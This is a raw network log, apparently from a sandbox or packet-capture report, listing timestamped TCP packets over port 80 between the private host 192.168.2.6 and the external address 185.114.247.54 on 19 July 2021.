Jul 19, 2021 18:35:37.726439953 CEST	80	49766	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:37.726485014 CEST	80	49766	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:37.726608992 CEST	49766	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:37.727134943 CEST	80	49766	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:37.727240086 CEST	80	49766	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:37.727761984 CEST	80	49766	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:37.728044033 CEST	80	49766	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:37.728116035 CEST	80	49766	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:37.728316069 CEST	80	49766	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:37.728359938 CEST	80	49766	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:37.729960918 CEST	80	49766	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:37.730082035 CEST	80	49766	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:37.822577000 CEST	80	49766	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:37.823049068 CEST	80	49766	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:37.831897974 CEST	80	49766	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:37.831989050 CEST	49766	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:38.038901091 CEST	49766	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:38.040484905 CEST	49767	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:38.133979082 CEST	80	49767	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:38.134095907 CEST	49767	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:38.135154963 CEST	49767	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:38.135308981 CEST	49767	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:38.135556936 CEST	49767	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:38.135703087 CEST	49767	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:38.175369978 CEST	80	49766	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:38.206293106 CEST	80	49766	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:38.207185984 CEST	49766	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:38.230294943 CEST	80	49767	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:38.230422974 CEST	80	49767	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:38.231328011 CEST	80	49767	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:38.231443882 CEST	49767	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:38.231517076 CEST	80	49767	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:38.231585026 CEST	49767	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:38.231909037 CEST	80	49767	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:38.231987000 CEST	49767	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:38.232249022 CEST	80	49767	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:38.232323885 CEST	49767	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:38.232939959 CEST	80	49767	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:38.233021021 CEST	49767	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:38.233153105 CEST	80	49767	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:38.233233929 CEST	49767	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:38.233556032 CEST	80	49767	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:38.233620882 CEST	49767	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:38.234122992 CEST	80	49767	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:38.234199047 CEST	49767	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:38.234302044 CEST	80	49767	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:38.234376907 CEST	49767	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:38.234544992 CEST	80	49767	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:38.234611988 CEST	49767	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:38.324630976 CEST	80	49767	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:38.324680090 CEST	80	49767	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:38.324708939 CEST	80	49767	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:38.324736118 CEST	80	49767	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:38.324943066 CEST	49767	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:38.327524900 CEST	80	49767	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:38.327581882 CEST	80	49767	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:38.327707052 CEST	49767	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:38.327785969 CEST	49767	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:38.328398943 CEST	49767	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:38.368669033 CEST	80	49767	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:38.368835926 CEST	49767	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:38.421152115 CEST	80	49767	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:38.421318054 CEST	49767	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:38.422758102 CEST	80	49767	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:38.462085009 CEST	80	49767	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:38.462122917 CEST	80	49767	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:38.514731884 CEST	80	49767	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:38.514782906 CEST	80	49767	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:38.514800072 CEST	80	49767	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:38.514826059 CEST	80	49767	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:38.514857054 CEST	80	49767	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:38.515177011 CEST	80	49767	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:38.515206099 CEST	80	49767	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:38.524545908 CEST	80	49767	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:38.524709940 CEST	49767	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:38.725707054 CEST	49767	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:38.775830030 CEST	49768	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:38.819744110 CEST	80	49767	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:38.828942060 CEST	49767	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:38.868746042 CEST	80	49768	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:38.868889093 CEST	49768	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:38.869405985 CEST	49768	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:38.869496107 CEST	49768	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:38.869693041 CEST	49768	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:38.869870901 CEST	49768	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:38.961769104 CEST	80	49768	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:38.961791039 CEST	80	49768	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:38.961801052 CEST	80	49768	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:38.961939096 CEST	49768	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:38.962124109 CEST	80	49768	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:38.962152958 CEST	80	49768	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:38.962167978 CEST	80	49768	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:38.962182045 CEST	80	49768	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:38.962196112 CEST	80	49768	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:38.962196112 CEST	49768	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:38.962266922 CEST	49768	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:38.962300062 CEST	49768	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:39.053832054 CEST	80	49768	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:39.053872108 CEST	80	49768	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:39.053884029 CEST	80	49768	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:39.053895950 CEST	80	49768	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:39.053936958 CEST	80	49768	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:39.053987026 CEST	49768	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:39.054088116 CEST	49768	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:39.054105997 CEST	80	49768	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:39.054117918 CEST	80	49768	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:39.054177999 CEST	80	49768	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:39.054231882 CEST	49768	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:39.054274082 CEST	49768	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:39.145813942 CEST	80	49768	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:39.145850897 CEST	80	49768	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:39.145868063 CEST	80	49768	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:39.145975113 CEST	49768	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:39.146050930 CEST	80	49768	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:39.146193027 CEST	80	49768	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:39.146342993 CEST	80	49768	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:39.146382093 CEST	80	49768	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:39.146413088 CEST	80	49768	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:39.237801075 CEST	80	49768	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:39.238465071 CEST	80	49768	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:39.238490105 CEST	80	49768	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:39.403517962 CEST	49768	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:39.404860973 CEST	49769	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:39.502485037 CEST	80	49769	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:39.502686024 CEST	49769	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:39.503318071 CEST	49769	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:39.503480911 CEST	49769	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:39.503683090 CEST	49769	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:39.503834963 CEST	49769	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:39.523437977 CEST	80	49768	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:39.523971081 CEST	49768	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:39.600754976 CEST	80	49769	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:39.600806952 CEST	80	49769	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:39.601069927 CEST	80	49769	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:39.601140976 CEST	80	49769	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:39.601201057 CEST	80	49769	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:39.601298094 CEST	49769	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:39.601458073 CEST	49769	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:39.601532936 CEST	80	49769	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:39.601566076 CEST	80	49769	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:39.601629019 CEST	80	49769	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:39.601677895 CEST	49769	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:39.601833105 CEST	49769	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:39.698893070 CEST	80	49769	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:39.698954105 CEST	80	49769	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:39.698981047 CEST	80	49769	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:39.699264050 CEST	49769	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:39.699297905 CEST	49769	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:39.699784994 CEST	80	49769	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:39.699807882 CEST	80	49769	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:39.699817896 CEST	80	49769	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:39.699827909 CEST	80	49769	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:39.699843884 CEST	80	49769	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:39.699913979 CEST	49769	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:39.699961901 CEST	49769	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:39.703449965 CEST	80	49769	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:39.703650951 CEST	49769	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:39.797065020 CEST	80	49769	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:39.797090054 CEST	80	49769	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:39.797101021 CEST	80	49769	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:39.797311068 CEST	49769	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:39.797482967 CEST	80	49769	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:39.797622919 CEST	80	49769	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:39.797667027 CEST	80	49769	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:39.798125982 CEST	80	49769	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:39.798144102 CEST	80	49769	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:39.798156977 CEST	80	49769	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:39.801052094 CEST	80	49769	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:39.801114082 CEST	80	49769	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:39.801233053 CEST	80	49769	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:39.894751072 CEST	80	49769	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:39.894767046 CEST	80	49769	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:39.894855976 CEST	80	49769	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:39.910051107 CEST	80	49769	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:39.910162926 CEST	49769	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:40.122426033 CEST	49769	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:40.123570919 CEST	49770	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:40.206604004 CEST	80	49770	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:40.206712008 CEST	49770	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:40.209204912 CEST	49770	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:40.209534883 CEST	49770	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:40.210091114 CEST	49770	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:40.210206985 CEST	49770	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:40.220518112 CEST	80	49769	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:40.220611095 CEST	49769	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:40.291244984 CEST	80	49770	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:40.291695118 CEST	80	49770	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:40.291775942 CEST	49770	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:40.292804956 CEST	80	49770	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:40.293169022 CEST	80	49770	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:40.293346882 CEST	49770	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:40.293525934 CEST	80	49770	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:40.293597937 CEST	49770	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:40.294058084 CEST	80	49770	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:40.294145107 CEST	49770	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:40.294243097 CEST	80	49770	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:40.294303894 CEST	49770	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:40.294394970 CEST	80	49770	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:40.294543982 CEST	49770	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:40.294696093 CEST	80	49770	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:40.294770956 CEST	49770	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:40.295012951 CEST	80	49770	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:40.295077085 CEST	49770	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:40.295440912 CEST	80	49770	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:40.295532942 CEST	49770	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:40.295651913 CEST	80	49770	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:40.295727015 CEST	49770	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:40.296113014 CEST	80	49770	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:40.296173096 CEST	49770	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:40.374911070 CEST	80	49770	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:40.374927998 CEST	80	49770	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:40.374938011 CEST	80	49770	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:40.375040054 CEST	49770	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:40.375071049 CEST	49770	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:40.377243042 CEST	80	49770	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:40.377368927 CEST	49770	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:40.377691984 CEST	80	49770	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:40.377764940 CEST	49770	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:40.456666946 CEST	80	49770	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:40.456784964 CEST	49770	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:40.456788063 CEST	80	49770	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:40.456809044 CEST	80	49770	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:40.456911087 CEST	49770	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:40.459664106 CEST	80	49770	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:40.546221018 CEST	80	49770	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:40.546252012 CEST	80	49770	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:40.546277046 CEST	80	49770	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:40.546298027 CEST	80	49770	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:40.546315908 CEST	80	49770	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:40.546333075 CEST	80	49770	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:40.546350956 CEST	80	49770	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:40.546367884 CEST	80	49770	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:40.595313072 CEST	49770	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:40.597326994 CEST	49771	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:40.676800013 CEST	80	49770	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:40.677045107 CEST	80	49771	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:40.677159071 CEST	49770	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:40.677301884 CEST	49771	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:40.677990913 CEST	49771	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:40.678364992 CEST	49771	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:40.678596020 CEST	49771	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:40.678750992 CEST	49771	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:40.757365942 CEST	80	49771	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:40.757653952 CEST	80	49771	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:40.758100986 CEST	80	49771	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:40.758112907 CEST	80	49771	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:40.758196115 CEST	49771	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:40.758733988 CEST	80	49771	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:40.758919001 CEST	80	49771	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:40.759004116 CEST	49771	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:40.759037018 CEST	49771	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:40.759149075 CEST	80	49771	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:40.759232998 CEST	49771	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:40.759443998 CEST	80	49771	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:40.759530067 CEST	49771	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:40.759793997 CEST	80	49771	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:40.759901047 CEST	49771	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:40.760457039 CEST	80	49771	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:40.760539055 CEST	49771	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:40.760715008 CEST	80	49771	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:40.760787010 CEST	49771	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:40.761173010 CEST	80	49771	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:40.761234045 CEST	49771	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:40.837572098 CEST	80	49771	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:40.837594032 CEST	80	49771	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:40.837704897 CEST	49771	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:40.837800980 CEST	80	49771	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:40.837814093 CEST	80	49771	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:40.837884903 CEST	49771	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:40.845935106 CEST	80	49771	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:40.846122026 CEST	49771	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:40.917068005 CEST	80	49771	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:40.917104006 CEST	80	49771	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:40.917120934 CEST	80	49771	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:40.917166948 CEST	80	49771	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:40.917212963 CEST	49771	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:40.917258978 CEST	49771	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:40.925502062 CEST	80	49771	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:40.925543070 CEST	80	49771	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:40.925570011 CEST	80	49771	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:40.925765038 CEST	80	49771	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:40.925798893 CEST	80	49771	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:40.925901890 CEST	80	49771	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:40.996125937 CEST	80	49771	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:40.996151924 CEST	80	49771	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:40.996164083 CEST	80	49771	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:40.996175051 CEST	80	49771	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:40.996192932 CEST	80	49771	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:40.996203899 CEST	80	49771	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:40.996439934 CEST	80	49771	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:40.996680021 CEST	80	49771	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:40.996790886 CEST	80	49771	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:41.004757881 CEST	80	49771	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:41.006936073 CEST	49771	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:41.254615068 CEST	49771	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:41.255925894 CEST	49772	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:41.334525108 CEST	80	49771	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:41.334631920 CEST	49771	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:41.350209951 CEST	80	49772	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:41.350384951 CEST	49772	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:41.351301908 CEST	49772	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:41.351392031 CEST	49772	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:41.351589918 CEST	49772	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:41.351733923 CEST	49772	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:41.444232941 CEST	80	49772	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:41.444560051 CEST	80	49772	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:41.444696903 CEST	80	49772	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:41.444793940 CEST	49772	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:41.444900990 CEST	80	49772	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:41.444978952 CEST	49772	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:41.445189953 CEST	80	49772	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:41.445297003 CEST	49772	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:41.445324898 CEST	80	49772	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:41.445416927 CEST	49772	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:41.445519924 CEST	80	49772	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:41.445852995 CEST	80	49772	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:41.445869923 CEST	80	49772	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:41.445916891 CEST	49772	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:41.445943117 CEST	49772	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:41.446057081 CEST	80	49772	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:41.446264982 CEST	80	49772	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:41.446335077 CEST	49772	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:41.446485996 CEST	80	49772	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:41.446588993 CEST	49772	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:41.537674904 CEST	80	49772	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:41.537703037 CEST	80	49772	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:41.537853003 CEST	49772	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:41.538043022 CEST	80	49772	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:41.538158894 CEST	49772	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:41.538167953 CEST	80	49772	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:41.538232088 CEST	80	49772	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:41.538320065 CEST	49772	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:41.538619041 CEST	80	49772	185.114.247.54	192.168.2.6
